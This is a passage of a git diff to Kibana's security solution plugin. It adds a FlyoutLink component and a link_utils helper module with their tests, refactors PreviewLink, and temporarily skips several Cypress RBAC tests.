oldSecurityDefaultPatterns; const [loadingObservedUser, { userDetails: observedUserDetails, inspect, refetch, id: queryId }] = useObservedUserDetails({ endDate: to, startDate: from, userName, - indexNames: selectedPatterns, + indexNames: securityDefaultPatterns, skip: isInitializing, }); @@ -53,7 +62,7 @@ export const useObservedUser = ( const [loadingFirstSeen, { firstSeen }] = useFirstLastSeen({ field: 'user.name', value: userName, - defaultIndex: selectedPatterns, + defaultIndex: securityDefaultPatterns, order: Direction.asc, filterQuery: NOT_EVENT_KIND_ASSET_FILTER, }); @@ -61,7 +70,7 @@ export const useObservedUser = ( const [loadingLastSeen, { lastSeen }] = useFirstLastSeen({ field: 'user.name', value: userName, - defaultIndex: selectedPatterns, + defaultIndex: securityDefaultPatterns, order: Direction.desc, filterQuery: NOT_EVENT_KIND_ASSET_FILTER, }); diff --git a/x-pack/solutions/security/plugins/security_solution/public/flyout/network_details/components/network_details.tsx b/x-pack/solutions/security/plugins/security_solution/public/flyout/network_details/components/network_details.tsx index 3bb68185e9192..4ac1fbf220a7c 100644 --- a/x-pack/solutions/security/plugins/security_solution/public/flyout/network_details/components/network_details.tsx +++ b/x-pack/solutions/security/plugins/security_solution/public/flyout/network_details/components/network_details.tsx @@ -141,6 +141,7 @@ export const NetworkDetails = ({ ip, flowTarget }: NetworkDetailsProps) => { indexPatterns={selectedPatterns} jobNameById={jobNameById} scopeId={SourcererScopeName.default} + isFlyoutOpen={true} /> ) : ( diff --git a/x-pack/solutions/security/plugins/security_solution/public/flyout/shared/components/flyout_link.test.tsx b/x-pack/solutions/security/plugins/security_solution/public/flyout/shared/components/flyout_link.test.tsx new file mode 100644 index 0000000000000..e9ce81cf90f17 --- /dev/null +++ b/x-pack/solutions/security/plugins/security_solution/public/flyout/shared/components/flyout_link.test.tsx @@ -0,0 +1,198 @@ +/* + * Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one + * or more contributor license agreements. Licensed under the Elastic License + * 2.0; you may not use this file except in compliance with the Elastic License + * 2.0. + */ + +import React from 'react'; +import { render } from '@testing-library/react'; +import { FLYOUT_LINK_TEST_ID, FLYOUT_PREVIEW_LINK_TEST_ID } from './test_ids'; +import { FlyoutLink } from './flyout_link'; +import { TestProviders } from '../../../common/mock'; +import { mockFlyoutApi } from '../../document_details/shared/mocks/mock_flyout_context'; +import { useExpandableFlyoutApi } from '@kbn/expandable-flyout'; +import { HostPanelKey, UserPanelKey } from '../../entity_details/shared/constants'; +import { NetworkPanelKey } from '../../network_details'; +import { RulePanelKey } from '../../rule_details/right'; +import { createTelemetryServiceMock } from '../../../common/lib/telemetry/telemetry_service.mock'; +import { useWhichFlyout } from '../../document_details/shared/hooks/use_which_flyout'; +import { TableId } from '@kbn/securitysolution-data-table'; + +const mockedTelemetry = createTelemetryServiceMock(); +jest.mock('../../../common/lib/kibana', () => { + return { + useKibana: () => ({ + services: { + telemetry: mockedTelemetry, + }, + }), + }; +}); + +jest.mock('@kbn/expandable-flyout', () => ({ + useExpandableFlyoutApi: jest.fn(), + ExpandableFlyoutProvider: ({ children }: React.PropsWithChildren<{}>) => <>{children}, +})); + +jest.mock('../../document_details/shared/hooks/use_which_flyout', () => ({ + useWhichFlyout: jest.fn(), +})); + +const renderFlyoutLink = ( + field: string, + value: string, + dataTestSuj?: string, + isFlyoutOpen?: boolean +) => + render( + + + + ); + +describe('', () => { + beforeAll(() => { + jest.mocked(useExpandableFlyoutApi).mockReturnValue(mockFlyoutApi); + }); + + describe('when flyout is currently open', () => { + it('should render a preview link if isFlyoutOpen is true', () => { + const { getByTestId } = renderFlyoutLink('host.name', 'host', undefined, true); + + expect(getByTestId(FLYOUT_PREVIEW_LINK_TEST_ID)).toBeInTheDocument(); + + getByTestId(FLYOUT_PREVIEW_LINK_TEST_ID).click(); + expect(mockFlyoutApi.openPreviewPanel).toHaveBeenCalled(); + }); + + it('should render a preview link if useWhichFlyout is not null', () => { + jest.mocked(useWhichFlyout).mockReturnValue('flyout'); + const { getByTestId } = renderFlyoutLink('user.name', 'user', undefined, false); + + expect(getByTestId(FLYOUT_PREVIEW_LINK_TEST_ID)).toBeInTheDocument(); + + getByTestId(FLYOUT_PREVIEW_LINK_TEST_ID).click(); + expect(mockFlyoutApi.openPreviewPanel).toHaveBeenCalled(); + }); + }); + + describe('when flyout is not currently open', () => { + beforeEach(() => { + jest.mocked(useWhichFlyout).mockReturnValue(null); + }); + + it('should not render a link if field does not have flyout', () => { + const { queryByTestId } = renderFlyoutLink('field', 'value'); + expect(queryByTestId(FLYOUT_LINK_TEST_ID)).not.toBeInTheDocument(); + }); + + it('should render children without link if field does not have flyout', () => { + const { queryByTestId, getByTestId } = render( + + +
    {'children'}
    +
    +
    + ); + + expect(queryByTestId(FLYOUT_LINK_TEST_ID)).not.toBeInTheDocument(); + expect(getByTestId('children')).toBeInTheDocument(); + }); + + it('should render a link to open host flyout', () => { + const { getByTestId } = renderFlyoutLink('host.name', 'host', 'host-link'); + getByTestId('host-link').click(); + + expect(mockFlyoutApi.openFlyout).toHaveBeenCalledWith({ + right: { + id: HostPanelKey, + params: { + hostName: 'host', + scopeId: 'scopeId', + }, + }, + }); + }); + + it('should render a link to open user flyout', () => { + const { getByTestId } = renderFlyoutLink('user.name', 'user', 'user-link'); + getByTestId('user-link').click(); + + expect(mockFlyoutApi.openFlyout).toHaveBeenCalledWith({ + right: { + id: UserPanelKey, + params: { + userName: 'user', + scopeId: 'scopeId', + }, + }, + }); + }); + + it('should render a link to open network flyout', () => { + const { getByTestId } = renderFlyoutLink('source.ip', '100:XXX:XXX', 'ip-link'); + getByTestId('ip-link').click(); + + expect(mockFlyoutApi.openFlyout).toHaveBeenCalledWith({ + right: { + id: NetworkPanelKey, + params: { + ip: '100:XXX:XXX', + flowTarget: 'source', + scopeId: 'scopeId', + }, + }, + }); + }); + + it('should render a link to open rule flyout', () => { + const { getByTestId } = renderFlyoutLink('kibana.alert.rule.name', 'ruleId', 'rule-link'); + getByTestId('rule-link').click(); + + expect(mockFlyoutApi.openFlyout).toHaveBeenCalledWith({ + right: { + id: RulePanelKey, + params: { + ruleId: 'ruleId', + }, + }, + }); + }); + + it('should not render a link when ruleId is not provided', () => { + const { queryByTestId } = render( + + + + ); + expect(queryByTestId('rule-link')).not.toBeInTheDocument(); + }); + + it('should not render a link when rule name is rendered in rule preview', () => { + const { queryByTestId } = render( + + + + ); + expect(queryByTestId('rule-link')).not.toBeInTheDocument(); + }); + }); +}); diff --git a/x-pack/solutions/security/plugins/security_solution/public/flyout/shared/components/flyout_link.tsx b/x-pack/solutions/security/plugins/security_solution/public/flyout/shared/components/flyout_link.tsx new file mode 100644 index 0000000000000..8fa4ca4feead0 --- /dev/null +++ b/x-pack/solutions/security/plugins/security_solution/public/flyout/shared/components/flyout_link.tsx @@ -0,0 +1,114 @@ +/* + * Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one + * or more contributor license agreements. Licensed under the Elastic License + * 2.0; you may not use this file except in compliance with the Elastic License + * 2.0. + */ +import type { FC } from 'react'; +import React, { useCallback, useMemo } from 'react'; +import { EuiLink } from '@elastic/eui'; +import { useExpandableFlyoutApi } from '@kbn/expandable-flyout'; +import { useKibana } from '../../../common/lib/kibana'; +import { FLYOUT_LINK_TEST_ID } from './test_ids'; +import { DocumentEventTypes } from '../../../common/lib/telemetry'; +import { PreviewLink } from './preview_link'; +import { getRightPanelParams } from '../utils/link_utils'; +import { useWhichFlyout } from '../../document_details/shared/hooks/use_which_flyout'; + +interface FlyoutLinkProps { + /** + * Field name + */ + field: string; + /** + * Value to display in EuiLink + */ + value: string; + /** + * Scope id to use for the preview panel + */ + scopeId: string; + /** + * Optional override to determine if the flyout is open + */ + isFlyoutOpen?: boolean; + /** + * Rule id to use for the preview panel + */ + ruleId?: string; + /** + * Optional data-test-subj value + */ + ['data-test-subj']?: string; + /** + * React components to render, if none provided, the value will be rendered + */ + children?: React.ReactNode; +} + +/** + * Renders a link that opens the right panel or preview panel + * If a flyout is open, it returns the PreviewLink component + * If a flyout is not open, the link will open the right panel + * If the field does not have flyout, the link will not be rendered + * + * The flyout open determination is done via url, for expandable + * flyout that uses in memory state, use the `isFlyoutOpen` prop. + */ +export const FlyoutLink: FC = ({ + field, + value, + scopeId, + isFlyoutOpen = false, + ruleId, + children, + 'data-test-subj': dataTestSubj, +}) => { + const { openFlyout } = useExpandableFlyoutApi(); + const { telemetry } = useKibana().services; + const whichFlyout = useWhichFlyout(); + const renderPreview = isFlyoutOpen || whichFlyout !== null; + + const rightPanelParams = useMemo( + () => + getRightPanelParams({ + value, + field, + scopeId, + ruleId, + }), + [value, field, scopeId, ruleId] + ); + + const onClick = useCallback(() => { + if (rightPanelParams) { + openFlyout({ + right: { + id: rightPanelParams.id, + params: rightPanelParams.params, + }, + }); + telemetry.reportEvent(DocumentEventTypes.DetailsFlyoutOpened, { + location: scopeId, + panel: 'right', + }); + } + }, [rightPanelParams, scopeId, telemetry, openFlyout]); + + // If the flyout is open, render the preview link + if (renderPreview) { + return ( + + {children} + + ); + } + + return rightPanelParams ? ( + + {children ?? value} + + ) : ( + <>{children ?? value} + ); +}; diff --git a/x-pack/solutions/security/plugins/security_solution/public/flyout/shared/components/preview_link.test.tsx b/x-pack/solutions/security/plugins/security_solution/public/flyout/shared/components/preview_link.test.tsx index 3ea87ac3ad2f9..8429a77d93f0d 100644 --- a/x-pack/solutions/security/plugins/security_solution/public/flyout/shared/components/preview_link.test.tsx +++ b/x-pack/solutions/security/plugins/security_solution/public/flyout/shared/components/preview_link.test.tsx @@ -7,8 +7,9 @@ import React from 'react'; import { render } from '@testing-library/react'; +import { TableId } from '@kbn/securitysolution-data-table'; import { FLYOUT_PREVIEW_LINK_TEST_ID } from './test_ids'; -import { PreviewLink, hasPreview } from './preview_link'; +import { PreviewLink } from './preview_link'; import { TestProviders } from '../../../common/mock'; import { mockFlyoutApi } from '../../document_details/shared/mocks/mock_flyout_context'; import { useExpandableFlyoutApi } from '@kbn/expandable-flyout'; @@ -150,36 +151,10 @@ describe('', () => { field={'kibana.alert.rule.name'} value={'rule'} data-test-subj={'rule-link'} - scopeId={'scopeId'} - isRulePreview={true} + scopeId={TableId.rulePreview} /> ); expect(queryByTestId('rule-link')).not.toBeInTheDocument(); }); }); - -describe('hasPreview', () => { - it('should return true if field is host.name', () => { - expect(hasPreview('host.name')).toBe(true); - }); - - it('should return true if field is user.name', () => { - expect(hasPreview('user.name')).toBe(true); - }); - - it('should return true if field is rule.id', () => { - expect(hasPreview('kibana.alert.rule.name')).toBe(true); - }); - - it('should return true if field type is source.ip', () => { - expect(hasPreview('source.ip')).toBe(true); - expect(hasPreview('destination.ip')).toBe(true); - expect(hasPreview('host.ip')).toBe(true); - }); - - it('should return false if field is not host.name, user.name, or ip type', () => { - expect(hasPreview('field')).toBe(false); // non-ecs field - expect(hasPreview('event.category')).toBe(false); // ecs field but not ip type - }); -}); diff --git a/x-pack/solutions/security/plugins/security_solution/public/flyout/shared/components/preview_link.tsx b/x-pack/solutions/security/plugins/security_solution/public/flyout/shared/components/preview_link.tsx index d78fc7b26fb52..9c3fde26ab439 100644 --- a/x-pack/solutions/security/plugins/security_solution/public/flyout/shared/components/preview_link.tsx +++ b/x-pack/solutions/security/plugins/security_solution/public/flyout/shared/components/preview_link.tsx @@ -5,90 +5,21 @@ * 2.0. */ import type { FC } from 'react'; -import React, { useCallback } from 'react'; +import React, { useCallback, useMemo } from 'react'; import { EuiLink } from '@elastic/eui'; import { useExpandableFlyoutApi } from '@kbn/expandable-flyout'; -import { FlowTargetSourceDest } from '../../../../common/search_strategy/security_solution/network'; -import { getEcsField } from '../../document_details/right/components/table_field_name_cell'; -import { - HOST_NAME_FIELD_NAME, - USER_NAME_FIELD_NAME, - SIGNAL_RULE_NAME_FIELD_NAME, - IP_FIELD_TYPE, -} from '../../../timelines/components/timeline/body/renderers/constants'; import { useKibana } from '../../../common/lib/kibana'; import { FLYOUT_PREVIEW_LINK_TEST_ID } from './test_ids'; -import { HostPreviewPanelKey } from '../../entity_details/host_right'; -import { HOST_PREVIEW_BANNER } from '../../document_details/right/components/host_entity_overview'; -import { UserPreviewPanelKey } from '../../entity_details/user_right'; -import { USER_PREVIEW_BANNER } from '../../document_details/right/components/user_entity_overview'; -import { NetworkPreviewPanelKey, NETWORK_PREVIEW_BANNER } from '../../network_details'; -import { RulePreviewPanelKey, RULE_PREVIEW_BANNER } from '../../rule_details/right'; import { DocumentEventTypes } from '../../../common/lib/telemetry'; - -const PREVIEW_FIELDS = [HOST_NAME_FIELD_NAME, USER_NAME_FIELD_NAME, SIGNAL_RULE_NAME_FIELD_NAME]; - -// Helper function to check if the field has a preview link -export const hasPreview = (field: string) => - PREVIEW_FIELDS.includes(field) || getEcsField(field)?.type === IP_FIELD_TYPE; - -interface PreviewParams { - id: string; - params: Record; -} - -// Helper get function to get the preview parameters -const getPreviewParams = ( - value: string, - field: string, - scopeId: string, - ruleId?: string -): PreviewParams | null => { - if (getEcsField(field)?.type === IP_FIELD_TYPE) { - return { - id: NetworkPreviewPanelKey, - params: { - ip: value, - scopeId, - flowTarget: field.includes(FlowTargetSourceDest.destination) - ? FlowTargetSourceDest.destination - : FlowTargetSourceDest.source, - banner: NETWORK_PREVIEW_BANNER, - }, - }; - } - if (field === SIGNAL_RULE_NAME_FIELD_NAME && !ruleId) { - return null; - } - switch (field) { - case HOST_NAME_FIELD_NAME: - return { - id: HostPreviewPanelKey, - params: { hostName: value, scopeId, banner: HOST_PREVIEW_BANNER }, - }; - case USER_NAME_FIELD_NAME: - return { - id: UserPreviewPanelKey, - params: { userName: value, scopeId, banner: USER_PREVIEW_BANNER }, - }; - case SIGNAL_RULE_NAME_FIELD_NAME: - return { - id: RulePreviewPanelKey, - params: { ruleId, banner: RULE_PREVIEW_BANNER, isPreviewMode: true }, - }; - default: - return null; - } -}; +import { getPreviewPanelParams } from '../utils/link_utils'; interface PreviewLinkProps { /** - * Highlighted field's field name + * Field name */ field: string; /** - * Highlighted field's value to display as a EuiLink to open the expandable left panel - * (used for host name and username fields) + * Value to display in EuiLink */ value: string; /** @@ -99,10 +30,6 @@ interface PreviewLinkProps { * Rule id to use for the preview panel */ ruleId?: string; - /** - * Whether the preview link is in preview mode - */ - isRulePreview?: boolean; /** * Optional data-test-subj value */ @@ -114,22 +41,32 @@ interface PreviewLinkProps { } /** - * Renders a preview link for entities and ip addresses + * Renders a link that opens a preview panel + * If the field is not previewable, the link will not be rendered */ export const PreviewLink: FC = ({ field, value, scopeId, ruleId, - isRulePreview, children, 'data-test-subj': dataTestSubj = FLYOUT_PREVIEW_LINK_TEST_ID, }) => { const { openPreviewPanel } = useExpandableFlyoutApi(); const { telemetry } = useKibana().services; + const previewParams = useMemo( + () => + getPreviewPanelParams({ + value, + field, + scopeId, + ruleId, + }), + [value, field, scopeId, ruleId] + ); + const onClick = useCallback(() => { - const previewParams = getPreviewParams(value, field, scopeId, ruleId); if (previewParams) { openPreviewPanel({ id: previewParams.id, @@ -140,21 +77,13 @@ export const PreviewLink: FC = ({ panel: 'preview', }); } - }, [field, scopeId, value, telemetry, openPreviewPanel, ruleId]); - - // If the field is not previewable, do not render link - if (!hasPreview(field)) { - return <>{children ?? value}; - } - - // If the field is rule.id, and the ruleId is not provided or currently in rule preview, do not render link - if (field === SIGNAL_RULE_NAME_FIELD_NAME && (!ruleId || isRulePreview)) { - return <>{children ?? value}; - } + }, [scopeId, telemetry, openPreviewPanel, previewParams]); - return ( + return previewParams ? ( {children ?? value} + ) : ( + <>{children ?? value} ); }; diff --git a/x-pack/solutions/security/plugins/security_solution/public/flyout/shared/components/test_ids.ts b/x-pack/solutions/security/plugins/security_solution/public/flyout/shared/components/test_ids.ts index 56eb9da231bec..598d7b9ce9996 100644 --- a/x-pack/solutions/security/plugins/security_solution/public/flyout/shared/components/test_ids.ts +++ b/x-pack/solutions/security/plugins/security_solution/public/flyout/shared/components/test_ids.ts @@ -8,6 +8,7 @@ import { PREFIX } from '../test_ids'; export const FLYOUT_PREVIEW_LINK_TEST_ID = `${PREFIX}PreviewLink` as const; +export const FLYOUT_LINK_TEST_ID = `${PREFIX}Link` as const; export const FLYOUT_ERROR_TEST_ID = `${PREFIX}Error` as const; export const FLYOUT_LOADING_TEST_ID = `${PREFIX}Loading` as const; diff --git a/x-pack/solutions/security/plugins/security_solution/public/flyout/shared/utils/link_utils.test.ts b/x-pack/solutions/security/plugins/security_solution/public/flyout/shared/utils/link_utils.test.ts new file mode 100644 index 0000000000000..9ff189422269c --- /dev/null +++ b/x-pack/solutions/security/plugins/security_solution/public/flyout/shared/utils/link_utils.test.ts @@ -0,0 +1,51 @@ +/* + * Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one + * or more contributor license agreements. Licensed under the Elastic License + * 2.0; you may not use this file except in compliance with the Elastic License + * 2.0. + */ +import { TableId } from '@kbn/securitysolution-data-table'; +import { isFlyoutLink } from './link_utils'; + +describe('isFlyoutLink', () => { + it('should return true if field is host.name', () => { + expect(isFlyoutLink({ field: 'host.name', scopeId: 'scopeId' })).toBe(true); + }); + + it('should return true if field is user.name', () => { + expect(isFlyoutLink({ field: 'user.name', scopeId: 'scopeId' })).toBe(true); + }); + + it('should return true if field is rule.name and ruleId is provided', () => { + expect( + isFlyoutLink({ field: 'kibana.alert.rule.name', ruleId: 'ruleId', scopeId: 'scopeId' }) + ).toBe(true); + }); + + it('shoud return false if field is rule name and rule id is not provided', () => { + expect( + isFlyoutLink({ field: 'kibana.alert.rule.name', ruleId: undefined, scopeId: 'scopeId' }) + ).toBe(false); + }); + + it('shoud return false if field is rule name, rule id is provided and scopeId is rule preview', () => { + expect( + isFlyoutLink({ + field: 'kibana.alert.rule.name', + ruleId: 'ruleId', + scopeId: TableId.rulePreview, + }) + ).toBe(false); + }); + + it('should return true if field type is source.ip', () => { + expect(isFlyoutLink({ field: 'source.ip', scopeId: 'scopeId' })).toBe(true); + expect(isFlyoutLink({ field: 'destination.ip', scopeId: 'scopeId' })).toBe(true); + expect(isFlyoutLink({ field: 'host.ip', scopeId: 'scopeId' })).toBe(true); + }); + + it('should return false if field is not host.name, user.name, rule name or ip type', () => { + expect(isFlyoutLink({ field: 'field', scopeId: 'scopeId' })).toBe(false); // non-ecs field + expect(isFlyoutLink({ field: 'event.category', scopeId: 'scopeId' })).toBe(false); // ecs field but not ip type + }); +}); diff --git a/x-pack/solutions/security/plugins/security_solution/public/flyout/shared/utils/link_utils.ts b/x-pack/solutions/security/plugins/security_solution/public/flyout/shared/utils/link_utils.ts new file mode 100644 index 0000000000000..e23a12e481d24 --- /dev/null +++ b/x-pack/solutions/security/plugins/security_solution/public/flyout/shared/utils/link_utils.ts @@ -0,0 +1,165 @@ +/* + * Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one + * or more contributor license agreements. Licensed under the Elastic License + * 2.0; you may not use this file except in compliance with the Elastic License + * 2.0. + */ +import type { FlyoutPanelProps } from '@kbn/expandable-flyout'; +import { TableId } from '@kbn/securitysolution-data-table'; +import { FlowTargetSourceDest } from '../../../../common/search_strategy/security_solution/network'; +import { getEcsField } from '../../document_details/right/components/table_field_name_cell'; +import { + HOST_NAME_FIELD_NAME, + USER_NAME_FIELD_NAME, + SIGNAL_RULE_NAME_FIELD_NAME, + IP_FIELD_TYPE, +} from '../../../timelines/components/timeline/body/renderers/constants'; +import { HostPanelKey, UserPanelKey } from '../../entity_details/shared/constants'; +import { HostPreviewPanelKey } from '../../entity_details/host_right'; +import { HOST_PREVIEW_BANNER } from '../../document_details/right/components/host_entity_overview'; +import { UserPreviewPanelKey } from '../../entity_details/user_right'; +import { USER_PREVIEW_BANNER } from '../../document_details/right/components/user_entity_overview'; +import { + NetworkPanelKey, + NetworkPreviewPanelKey, + NETWORK_PREVIEW_BANNER, +} from '../../network_details'; +import { RulePanelKey, RulePreviewPanelKey, RULE_PREVIEW_BANNER } from '../../rule_details/right'; + +// Helper function to check if the field has a flyout link +export const isFlyoutLink = ({ + field, + ruleId, + scopeId, +}: { + field: string; + ruleId?: string; + scopeId: string; +}) => { + // don't show link for rule name if rule id is not provided or if isRulePreview is true + if (field === SIGNAL_RULE_NAME_FIELD_NAME) { + return !!ruleId && scopeId !== TableId.rulePreview; + } + return FLYOUT_FIELDS.includes(field) || getEcsField(field)?.type === IP_FIELD_TYPE; +}; + +interface GetFlyoutParams { + value: string; + field: string; + scopeId: string; + ruleId?: string; +} + +const FLYOUT_FIELDS = [HOST_NAME_FIELD_NAME, USER_NAME_FIELD_NAME, SIGNAL_RULE_NAME_FIELD_NAME]; + +// Helper get function to get flyout parameters based on field name and isFlyoutOpen +// If flyout is currently open, preview panel params are returned +// If flyout is not currently open, flyout rightpanel params are returned +export const getRightPanelParams = ({ + value, + field, + scopeId, + ruleId, +}: GetFlyoutParams): FlyoutPanelProps | null => { + if (!isFlyoutLink({ field, ruleId, scopeId })) { + return null; + } + + if (getEcsField(field)?.type === IP_FIELD_TYPE) { + return { + id: NetworkPanelKey, + params: { + ip: value, + scopeId, + flowTarget: field.includes(FlowTargetSourceDest.destination) + ? FlowTargetSourceDest.destination + : FlowTargetSourceDest.source, + }, + }; + } + + switch (field) { + case HOST_NAME_FIELD_NAME: + return { + id: HostPanelKey, + params: { + hostName: value, + scopeId, + }, + }; + case USER_NAME_FIELD_NAME: + return { + id: UserPanelKey, + params: { + userName: value, + scopeId, + }, + }; + case SIGNAL_RULE_NAME_FIELD_NAME: + return { + id: RulePanelKey, + params: { + ruleId, + }, + }; + default: + return null; + } +}; + +export const getPreviewPanelParams = ({ + value, + field, + scopeId, + ruleId, +}: GetFlyoutParams): FlyoutPanelProps | null => { + if (!isFlyoutLink({ field, ruleId, scopeId })) { + return null; + } + + if (getEcsField(field)?.type === IP_FIELD_TYPE) { + return { + id: NetworkPreviewPanelKey, + params: { + ip: value, + scopeId, + flowTarget: field.includes(FlowTargetSourceDest.destination) + ? FlowTargetSourceDest.destination + : FlowTargetSourceDest.source, + banner: NETWORK_PREVIEW_BANNER, + }, + }; + } + + switch (field) { + case HOST_NAME_FIELD_NAME: + return { + id: HostPreviewPanelKey, + params: { + hostName: value, + scopeId, + banner: HOST_PREVIEW_BANNER, + }, + }; + case USER_NAME_FIELD_NAME: + return { + id: UserPreviewPanelKey, + params: { + userName: value, + scopeId, + banner: USER_PREVIEW_BANNER, + }, + }; + case SIGNAL_RULE_NAME_FIELD_NAME: + return { + id: RulePreviewPanelKey, + params: { + ruleId, + banner: RULE_PREVIEW_BANNER, + isPreviewMode: true, + }, + }; + default: + return null; + } +}; diff --git a/x-pack/solutions/security/plugins/security_solution/public/management/components/artifact_list_page/components/integration_tests/artifact_delete_modal.test.ts b/x-pack/solutions/security/plugins/security_solution/public/management/components/artifact_list_page/components/integration_tests/artifact_delete_modal.test.ts index 51e90cbc9829d..adfde549b27aa 100644 --- a/x-pack/solutions/security/plugins/security_solution/public/management/components/artifact_list_page/components/integration_tests/artifact_delete_modal.test.ts +++ b/x-pack/solutions/security/plugins/security_solution/public/management/components/artifact_list_page/components/integration_tests/artifact_delete_modal.test.ts @@ -8,6 +8,8 @@ import { getArtifactListPageRenderingSetup } from '../../mocks'; import { waitFor } from '@testing-library/react'; +jest.mock('../../../../../common/components/user_privileges'); + const setupTest = async () => { const renderSetup = getArtifactListPageRenderingSetup(); diff --git a/x-pack/solutions/security/plugins/security_solution/public/management/components/policy_selector/policy_selector.test.tsx b/x-pack/solutions/security/plugins/security_solution/public/management/components/policy_selector/policy_selector.test.tsx index 766233ab747c4..ad9f306c1f018 100644 --- a/x-pack/solutions/security/plugins/security_solution/public/management/components/policy_selector/policy_selector.test.tsx +++ b/x-pack/solutions/security/plugins/security_solution/public/management/components/policy_selector/policy_selector.test.tsx @@ -13,7 +13,10 @@ import { allFleetHttpMocks } from '../../mocks'; import React from 'react'; import { act, fireEvent, waitFor } from '@testing-library/react'; import userEvent from '@testing-library/user-event'; -import { packagePolicyRouteService } from '@kbn/fleet-plugin/common'; +import { + packagePolicyRouteService, + PACKAGE_POLICY_SAVED_OBJECT_TYPE, +} from '@kbn/fleet-plugin/common'; import { FleetPackagePolicyGenerator } from '../../../../common/endpoint/data_generators/fleet_package_policy_generator'; import { useUserPrivileges as _useUserPrivileges } from '../../../common/components/user_privileges'; import { getPolicyDetailPath } from '../../common/routing'; @@ -157,8 +160,7 @@ describe('PolicySelector component', () => { packagePolicyRouteService.getListPath(), { query: { - kuery: - '(ingest-package-policies.package.name: endpoint) AND ((ingest-package-policies.name:*foo*) OR (ingest-package-policies.description:*foo*))', + kuery: `(${PACKAGE_POLICY_SAVED_OBJECT_TYPE}.package.name: endpoint) AND ((${PACKAGE_POLICY_SAVED_OBJECT_TYPE}.name:*foo*) OR (${PACKAGE_POLICY_SAVED_OBJECT_TYPE}.description:*foo*))`, page: 1, perPage: 20, sortField: 'name', @@ -400,7 +402,7 @@ describe('PolicySelector component', () => { packagePolicyRouteService.getListPath(), { query: { - kuery: 'ingest-package-policies.package.name: endpoint', + kuery: `${PACKAGE_POLICY_SAVED_OBJECT_TYPE}.package.name: endpoint`, page: 1, perPage: 20, sortField: 'name', diff --git a/x-pack/solutions/security/plugins/security_solution/public/management/cypress/e2e/artifacts/blocklist_rbac.cy.ts b/x-pack/solutions/security/plugins/security_solution/public/management/cypress/e2e/artifacts/blocklist_rbac.cy.ts index a71104f41af05..01c6b3e2f8c32 100644 --- a/x-pack/solutions/security/plugins/security_solution/public/management/cypress/e2e/artifacts/blocklist_rbac.cy.ts +++ b/x-pack/solutions/security/plugins/security_solution/public/management/cypress/e2e/artifacts/blocklist_rbac.cy.ts @@ -8,7 +8,9 @@ import { getArtifactsListTestDataForArtifact } from '../../fixtures/artifacts_page'; import { getArtifactMockedDataTests } from '../../support/artifacts_rbac_runner'; -describe( +// Tests are not stable following the enablement of feature flag for space awareness. Issue is +// being worked and these will be re-enabled soon. +describe.skip( 'Blocklist RBAC', { tags: ['@ess', '@serverless', '@skipInServerlessMKI'] }, diff --git a/x-pack/solutions/security/plugins/security_solution/public/management/cypress/e2e/artifacts/event_filters_rbac.cy.ts b/x-pack/solutions/security/plugins/security_solution/public/management/cypress/e2e/artifacts/event_filters_rbac.cy.ts index 12d31adadc11c..9b6f4e4dd8aae 100644 --- a/x-pack/solutions/security/plugins/security_solution/public/management/cypress/e2e/artifacts/event_filters_rbac.cy.ts +++ b/x-pack/solutions/security/plugins/security_solution/public/management/cypress/e2e/artifacts/event_filters_rbac.cy.ts @@ -8,7 +8,9 @@ import { getArtifactsListTestDataForArtifact } from '../../fixtures/artifacts_page'; import { getArtifactMockedDataTests } from '../../support/artifacts_rbac_runner'; -describe( +// Tests are not stable following the enablement of feature flag for space awareness. Issue is +// being worked and these will be re-enabled soon. +describe.skip( 'Event filters RBAC', { tags: ['@ess', '@serverless', '@skipInServerlessMKI'] }, diff --git a/x-pack/solutions/security/plugins/security_solution/public/management/cypress/e2e/artifacts/host_isolation_exceptions_rbac.cy.ts b/x-pack/solutions/security/plugins/security_solution/public/management/cypress/e2e/artifacts/host_isolation_exceptions_rbac.cy.ts index 880ea031924f9..e5f197f822282 100644 --- a/x-pack/solutions/security/plugins/security_solution/public/management/cypress/e2e/artifacts/host_isolation_exceptions_rbac.cy.ts +++ b/x-pack/solutions/security/plugins/security_solution/public/management/cypress/e2e/artifacts/host_isolation_exceptions_rbac.cy.ts @@ -8,7 +8,7 @@ import { getArtifactsListTestDataForArtifact } from '../../fixtures/artifacts_page'; import { getArtifactMockedDataTests } from '../../support/artifacts_rbac_runner'; -describe( +describe.skip( 'Host Isolation Exceptions RBAC', { tags: ['@ess', '@serverless', '@skipInServerlessMKI'] }, diff --git a/x-pack/solutions/security/plugins/security_solution/public/management/cypress/e2e/artifacts/trusted_apps_rbac.cy.ts b/x-pack/solutions/security/plugins/security_solution/public/management/cypress/e2e/artifacts/trusted_apps_rbac.cy.ts index a00fbf52a7bda..9eb82d0ccf361 100644 --- a/x-pack/solutions/security/plugins/security_solution/public/management/cypress/e2e/artifacts/trusted_apps_rbac.cy.ts +++ b/x-pack/solutions/security/plugins/security_solution/public/management/cypress/e2e/artifacts/trusted_apps_rbac.cy.ts @@ -8,7 +8,9 @@ import { getArtifactsListTestDataForArtifact } from '../../fixtures/artifacts_page'; import { getArtifactMockedDataTests } from '../../support/artifacts_rbac_runner'; -describe( +// Tests are not stable following the enablement of feature flag for space awareness. Issue is +// being worked and these will be re-enabled soon. +describe.skip( 'Trusted apps RBAC', { tags: ['@ess', '@serverless', '@skipInServerlessMKI'] }, diff --git a/x-pack/solutions/security/plugins/security_solution/public/management/cypress/e2e/rbac/endpoint_role_rbac.cy.ts b/x-pack/solutions/security/plugins/security_solution/public/management/cypress/e2e/rbac/endpoint_role_rbac.cy.ts index ffd0caab70b83..e1c4055bbabf4 100644 --- a/x-pack/solutions/security/plugins/security_solution/public/management/cypress/e2e/rbac/endpoint_role_rbac.cy.ts +++ b/x-pack/solutions/security/plugins/security_solution/public/management/cypress/e2e/rbac/endpoint_role_rbac.cy.ts @@ -53,7 +53,7 @@ describe( .should('deep.equal', [ 'Endpoint List Displays all hosts running Elastic Defend and their relevant integration details.Endpoint List sub-feature privilegeAllReadNone', 'Automatic Troubleshooting Access to the automatic troubleshooting.Automatic Troubleshooting sub-feature privilegeAllReadNone', - 'Global Artifact Management (coming soon) Manage global assignment of endpoint artifacts (e.g., Trusted Applications, Event Filters) across all policies. This privilege controls global assignment rights only; privileges for each artifact type are required for full artifact management.Global Artifact Management (coming soon) sub-feature privilegeAllNone', + 'Global Artifact Management Manage global assignment of endpoint artifacts (e.g., Trusted Applications, Event Filters) across all policies. This privilege controls global 